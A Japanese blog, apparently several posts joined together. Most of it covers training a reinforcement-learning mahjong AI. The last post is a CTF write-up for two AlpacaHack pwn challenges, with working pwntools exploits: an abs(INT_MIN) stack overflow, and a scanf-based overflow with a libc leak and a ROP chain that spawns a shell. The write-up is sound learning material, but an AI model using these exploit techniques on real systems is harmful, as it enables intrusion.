前回と比べて鳴きの精度が明らかに上がっているように見える。 基本的には役牌か断么九がある場合に副露しているようだが、左下の東家はチャンタを見ているかもしれない。 また、右下の東家は混一色和了するなど、鳴きをかなりうまく使えているようだった。 門前で戦っている場合にも一盃口七対子を作ろうとしており、役を学習できているといっていい気がする。

また、ほとんどの場合に么九牌から切っており、最初に中張牌を切った局では全て中盤までに和了しているなど、特に教えていない麻雀のセオリーも自分で発見できているようだ。

終局面を見ても特に目立つミスがないため、もしかしたら結構強いのかもしれない。

まとめ

  • 役を学習させるために入力に特徴量を追加し、モデルに方針を推論するyakuヘッドを追加した
  • マシンパワーを上げたので学習効率が上がり、強さが飽和するまで学習できた
  • 適切なタイミングで副露したり、役をうまく作れるようになっていた

麻雀が下手なのでもう自分の作ったAIのミスを指摘できなくなってしまった。 次は頑張って一手ずつ検討するか、もしくは一度コンテストに出してみてもいいかもしれない(mjaiに対応する必要があるので面倒くさい)

終局面を見て改善点に気づいた人がいたら教えてください(他力本願)

麻雀の強化学習をする その2(ShantenAgentに勝ってビジュアライズする編)

前回強化学習の仕組みを作って実際に学習を回してみたところ、Mjxに実装されているShantenAgentと同等の強さまで学習することができた。 ShantenAgentはロン、ツモ、立直ができるときは必ず行うが、それ以外の副露はランダム、牌を切るときはシャンテン数が小さくなる牌の中からランダムで切るというルールベースエージェントである。

ShantenAgentに勝つ

前回の記事では改良ポイントの候補として「リーチがかかったら安全牌を切る(=降りる)」「基礎的な牌効率」を挙げていたが、そのうち安全牌についての情報を特徴量に入れてみることにした。(入れ方に工夫の余地はあるが、手牌の情報は元々入っているため理論上は牌効率を学習できると思っている)

自分の手牌のそれぞれの牌が各プレイヤーに対して安全かどうか(そのプレイヤーの捨て牌+同順内フリテン+立直後の他家の捨て牌)の情報を特徴量に加えて、さらにモデルのサイズやバッチサイズも調整してみたところ、結果は以下のようになった。

学習時間(横軸)と直近100半荘の最終スコアの移動平均(縦軸)

学習環境は前回と同じだが、今回は12時間学習してみた。概算で約10万半荘ぶんのデータを学習しており、モデルファイルのサイズは現状10MB程度になっている。

約5時間を過ぎたころからShantenAgentの平均スコアが25000を下回り始め、そこから少しずつ減少しているのが確認できた(もしかしたら前回も学習を止めなければこうなってたかもしれない)
最終的に16000付近まで下がっており、このまま続ければまだ下がっていきそうな感じもある。

実際のところShantenAgentの牌譜を学習して同等の強さになること自体は強化学習というより教師あり学習に近い話であり、そこからさらに強くなっていけるかが重要だと思っていたので、うまくいっているところを確認できてよかった(小並感)

対局を見てみる

強くなっていることは分かったが、現状何ができていて何ができてないのか、人間のプレイヤーと比べて実際どの程度強いのかということはスコアの推移からはあまり見えてこない。

ゲームエンジンとしてMjxを使うメリットの一つに良質なビジュアライザの存在がある。 Mjxでは各局面のオブジェクトから盤面の画像を生成する機能があるので、この機能を使って実際に対局を見てみることにした。 学習したモデルどうしで東一局を6回やってみたところ、それぞれの最終局面は以下のようになっていた。

学習したモデル4体での最終局面(6局ぶん)

意外と満貫とかを上がっているのは面白いが、よく見てみると最初に端牌から切るという意識が希薄で、他家のリーチに対してなんとなく安全牌を切っているような感じもあるがよく分からない。

明確に良くない点としては副露の使い方が挙げられる。 門前の価値を低く見ているようで基本的に鳴きを多用しているが、役がなくなる副露が多いのが気になる。おそらく鳴きを連打して、運が良ければ上がれるゲームだと思っているのだろう(スーファミの『スーパー麻雀大会』をプレイする8歳の僕と同じである)

学習時に役というものの存在を一切教えていないため、こうなるのは極めて妥当といえる。自分の手牌は見えているのだから原理的には役の存在に気づいてもおかしくはないが、現在のモデルの構造から考えても難しいだろう(三元牌の対子/刻子の登場率が高いので、いちばん簡単な副露役である役牌は理解しているかもしれない)

今後

とりあえず明確な改善点として、役のなくなる副露をしないように学習させたい。

高級な構造のモデルを使えばある程度学習できるのかもしれないが、どちらかというと役を学習できるように直接的にサポートするほうがうまくいきそうな感じがする。 たとえば、現在は局の終了時に自分の点数の差分だけを与えているが、自分の最終的な手牌になんの役があったか(もしくはなんの役もなかったか)という情報を与え、これも同時に推論させるというアプローチが考えられる。 そのためには役の判定を書く必要があり面倒だが、とりあえずは出現率の高い副露役だけを書くのでも十分かもしれない。

まとめ

  • 安全牌の情報を与えて長く学習させると、ShantenAgentより明確に強くなった
  • 対局をビジュアライズしてみると、役のなくなる副露が多かった
  • 役を学習させられる方法を考えたい

麻雀の強化学習をする その1(強化学習の仕組みを作る編)

気づいたらこのブログにCTFのことしか書いてないので本業っぽいこともやっていきたいと思い、面白そうなコンテストを探していたら RiichiLab-Mahjong AI Competitionというのを見つけたので、麻雀の強化学習を試してみることにした。

まずは手元で色々試してみて、将来的には勉強も兼ねて既存の強い麻雀AIの実装などを参考にしながら強いAIを作れたらいいなと思っている。

実装の概要など

今回はゲームエンジン以外の部分は自前で実装した。夏季休暇の5日間でやろうと思っていたらいつの間にか1か月経っていた(見通しの甘さ)

最初なのでとりあえず形だけ作っておいて、今後整理していく予定。

github.com

ゲームエンジン

麻雀のゲームエンジンを自作するのはとても時間がかかるので既存のもので使えそうなものを探してみたところ、Mjxというライブラリが使えそうだったのでインストールしてみた。Mjxは更新が止まっておりPyPI上のライブラリは壊れているようだったが、リポジトリから直接インストールできた。

pip3 install git+https://github.com/mjx-project/mjx

モデルと特徴量

モデルの改良は今後やる予定なので、とりあえず最初のモデルとして線形層を重ねただけのモデルを用意した。現状は盤面とアクションの情報から現在の状態価値と各アクションの行動価値を推論するモデルになっている。

Mjxでは"mjx-small-v0", "han22-v0", "mjx-large-v0"という3種類の特徴量セットが実装されており直接使用できるが、今回はこれを使わずに

ゲームエンジン -> 自作のBoard, Actionクラス -> 自作特徴量

という変換を実装した。 色々な手法を試したいというのと、できるだけ特定のゲームエンジンへの依存を少なくしたかったため(特にRiichiLabのコンテストではmjaiが使われているようなので、提出を考えるなら少なくとも将来的にmjaiでも動作させる必要がある)

盤面の特徴量は現時点では

  • 場風、自風
  • 自分の手牌+河
  • 相手の鳴き+河
  • シャンテン数

など最低限のものしか実装しておらず、リーチ状況や点数の状況などはまだ入っていない。

学習方法

基本的には自己対戦データを使用するが、麻雀ではランダムに行動するエージェントが和了できる確率は非常に小さいため、本当の意味での自己対戦だけではまともに学習できない可能性が高い。 よって、今回はモデルの推論によってプレイするActor3体+ShantenAgent(シャンテン数が小さくなる牌があれば捨てる)1体の牌譜を使って学習を行うことにした。つまり、オンポリシーとオフポリシーのエージェントが混在していることになる。

学習結果

手元のデスクトップPC(10コア20スレッド)で対戦しながら4時間ほど学習したところ、以下のような感じになった。

学習時間(横軸)と直近100半荘の最終スコアの移動平均(縦軸)

最初はShantenAgentが圧勝していたが次第にスコア差が縮まっていき、200分程度で大体同じ強さになっていることが分かる。 実際のところ、Actionの特徴量には捨てることでシャンテン数が減る牌の情報を加えているためShantenAgentの動きを学習して同等の強さになること自体は難しくなかったと思われる。

今後

とりあえず直近の目標としては、ShantenAgentに勝ち越すモデルを作りたい。

人間のプレイでも「シャンテン数を小さくするようにプレイする」という原則から外れることは基本的にはなく、そこに「リーチがかかったら安全牌を切る(=降りる)」「基礎的な牌効率」などが入ってくればある程度は強くなるのでは?と考えているが、現状の特徴量にはそれを学習するための情報がないので特徴量の整備から始めたいと思っている。 もしかすると、それらの情報をきちんと学習するためにはモデルの構造や報酬設計などを見直す必要もあるかもしれない。 より強くなるためには役を考慮することも重要だが、それは単に手牌を入力するだけではなく別途対策が必要になりそうな気がする(それぞれの役が成立する確率をサブタスクとして学習するとか)

まとめ

  • 麻雀の強化学習のために学習の仕組みを実装した
  • ShantenAgentと同等の強さまで学習できた
  • 次は特徴量の整備をしたい

AlpacaHack Round 1 (Pwn) に参加した+復習

AlpacaHack の記念すべき第一回コンテストである AlpacaHack Round 1 に参加した。 今回はPwnジャンルの問題が4問出題されるという形式だった。

echo (Pwn: Warmup)

「A service for reachability check.」

問題の概要

ソースコードと実行ファイルが与えられる。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

void get_data(char *buf, unsigned size) {
  unsigned i;
  char c;

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\n') break;
    buf[i] = c;
  }
  buf[i] = '\0';
}

void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

入力された文字列をそのまま出力するプログラムであり、最初に文字列のサイズを入力する必要があるのがポイント。

$ ./echo 
Size: 5
Data: abcde
Received: abcde

考えたこと

ソースコードにwin関数があり、「Call this function!」と書かれているのでその方針で考える。

WarmupなのでBOFとかだろうと思ってはいたが、入力の取り方が見たことないパターンだったので普通に苦戦。 わざわざサイズを入力させて1文字ずつ取っているのが怪しいと思うが、負の数や0を入力してもabs(size)で正の数に変換されてしまう。

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

abs関数に想いを馳せていると、そういえばintって [-2147483648, 2147483647] だったよなぁと思い出した。 調べると abs(INT_MIN)は未定義であり、INT_MINを返す処理系が多いらしい。 sizeが負の値であればfor文がバグるため無制限に値を書き込むことができ、BOFが可能となる。

というわけで実行すると、無事flagを取得できた。

# coding: utf-8
from pwn import *

exe = ELF("./echo")
context.binary = exe

p = remote("34.170.146.252",  17360)
# p = process('./echo')

win_addr = exe.symbols["win"]
print(p64(win_addr))

p.recvuntil(b"Size:")
p.sendline(b"-2147483648")
p.recvuntil(b"Data:")
p.sendline(b"a"*280 + p64(win_addr))

p.interactive()
$ python3 solve.py 
[*] '/mnt/c/Users/takeo-win11/Desktop/Alpaca/echo/echo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 34.170.146.252 on port 17360: Done
b'\xf6\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
 Received: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf6@
$                                                                                                 Alpaca{s1Gn3d_4Nd_uNs1gn3d_s1zEs_c4n_cAu5e_s3ri0us_buGz}
[*] Got EOF while reading in interactive
$ 
$ 
[*] Closed connection to 34.170.146.252 port 17360
[*] Got EOF while sending in interactive

hexecho (Pwn: Easy)

「Stack canary makes me feel more secure.」

問題の概要

ソースコードと実行ファイルが与えられる。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

int get_size() {
  int size = 0;
  scanf("%d%*c", &size);
  return size;
}

void get_hex(char *buf, unsigned size) {
  for (unsigned i = 0; i < size; i++)
    scanf("%02hhx", buf + i);
}

void hexecho() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data (hex): ");
  get_hex(buf, size);

  // Show data
  printf("Received: ");
  for (int i = 0; i < size; i++)
    printf("%02hhx ", (unsigned char)buf[i]);
  putchar('\n');
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  hexecho();
  return 0;
}

前の問題と似ており、実行すると入力から16進数の値をsize回取得して表示する。

$ ./hexecho 
Size: 3
Data (hex): 12ab3c
Received: 12 ab 3c

考えたこと

問題のフレーバーテキストから考えてもカナリアを回避しろと言われているような気がするが、普通に分からず。 win関数もなくなっているのでシェルコードやROPなどのテクが必要になる気がするが、それもBOFが起点なのでカナリアチェックを突破できないとスタートできなかった。

xなど16進数を構成しない文字を入力すると決まった数が出てくることに気づいたがあまり意味は分からなかった。

$ ./hexecho 
Size: 5
Data (hex): xxxxx
Received: 00 80 07 00 00

しばらく考えたが分からなかったので入眠(めっちゃ眠かった)


コンテスト後に𝕏で検索すると、すぐに解法を呟いてくれている人が何人かいた。 それによると、「scanfに"+\n"や"-\n"など符号のみを入力すると、読み取り成功判定になるが何も書き込まない」という仕様があるらしい。

$ ./hexecho 
Size: 5 
Data (hex): aabb+
ccdd
Received: aa bb 07 cc dd

つまり、xなどを入力したときは値の読み取りに失敗したという判定のため当該文字がバッファから削除されず、その後のscanfが全部失敗する(その後、書き換えが行われなかった部分に元々入っていた値がそのまま出力されていた)が、"+\n"であれば成功判定になるのでscanf1回につき1つずつ消費されていき、その後も値を書き込めるということのようだ。 これでBOFができるので、改めて解いてみる。

win関数がないので何とかする必要があるが、NXbitが有効なのでシェルコードは無理そうな感じがする。

$ checksec --file=hexecho
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   43) Symbols       No    0               1               hexecho

libc.so.6 がついているのでgachi-ropと同じノリでいけそうだが、libcのベースアドレスを調べる必要がある。 先述の方法でメモリの内部が見えるのでgdbで調べると、bufの開始地点から+302Byteの位置に<__libc_start_call_main+128>のアドレスが格納されていることが分かる。 <__libc_start_call_main+128>とベースアドレスの差分は0x29d90(インターネット調べ)なので、これを使って計算できそうだ。

黄色で囲ったとこが一致

ここまで来てベースアドレスは実行のたびに変わるので見てからpayload書けないじゃんということに気づくが、さらに調べるとret2vuln(Return to Vulnerability?)という技があることを知った。 プログラムの脆弱性を使って当該処理自体の開始前にreturnさせることで同じ脆弱性を何度も利用するテクのことをいうらしい。 ret2vulnを使えば1回目でlibcのベースアドレスをリークさせ、その情報を使って2回目でROPをかけることができる。

実際にやってみる。 今回はsystem関数の使用が制限されていないので、そのままシェルを取ることができた。

# coding: utf-8
from pwn import *

exe = ELF("./hexecho")
libc = ELF("./libc.so.6")
context.binary = exe

p = remote("34.170.146.252",  25342)
# p = process('./hexecho')
# gdb.attach(p)

p.recvuntil(b"Size:")
p.sendline(b"302")
p.recvuntil(b"Data (hex):")
p.sendline(b"+\n"*280 + b"3b1240" + b"+\n"*19)  # hexecho+235 -> hexecho+5

data = p.recvline().split()[::-1][0:6]
libc_start_call_main_128_address = int(b"".join(data).decode(), 16)
libc_base_address = libc_start_call_main_128_address - 0x29d90
print(f"libc_base_addr: {hex(libc_base_address)}")

def to_hex(value):
    string = format(value, "016x")[::-1]
    ret = ""
    for i in range(8):
        ret += string[2*i+1]
        ret += string[2*i]
    return ret.encode()

ret = 0x00029139 + libc_base_address
pop_rdi = 0x0002a3e5 + libc_base_address
bin_sh = next(libc.search(b"/bin/sh")) + libc_base_address
system = libc.symbols["system"] + libc_base_address

payload = b""
payload += to_hex(ret)
payload += to_hex(pop_rdi)
payload += to_hex(bin_sh)
payload += to_hex(system)

p.sendline(b"312")
p.sendline(b"+\n"*280 + payload)

p.interactive()
$ python3 solve.py
[*] '/mnt/c/Users/takeo-win11/Desktop/Alpaca/hexecho/hexecho'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/mnt/c/Users/takeo-win11/Desktop/Alpaca/hexecho/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 34.170.146.252 on port 25342: Done
libc_base_addr: 0x7f0bf81e4000
[*] Switching to interactive mode
Size: Data (hex): Received: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 f7 3f f8 0b 7f 00 00 00 00 00 00 00 00 00 00 f5 23 27 f8 0b 7f 00 00 00 00 00 00 00 00 00 00 80 f7 3f f8 0b 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 3f f8 0b 7f 00 00 ad e5 26 f8 0b 7f 00 00 80 f7 3f f8 0b 7f 00 00 7f 55 26 f8 0b 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 73 b9 93 fe 7f 00 00 00 2f 61 ae 1d 16 3b 7c 40 73 b9 93 fe 7f 00 00 00 2f 61 ae 1d 16 3b 7c 01 00 00 00 00 00 00 00 39 d1 20 f8 0b 7f 00 00 e5 e3 20 f8 0b 7f 00 00 78 c6 3b f8 0b 7f 00 00 70 4d 23 f8 0b 7f 00 00
$ cat ../flag.txt
Alpaca{4Lw4y5_cH3cK_1f_a_fuNc71on_f4iL3d}

感想

結果は1問ACで 47th/174 となった。

結構学びがあったので、今後も解けた問題+1問復習を目標にやってみたい。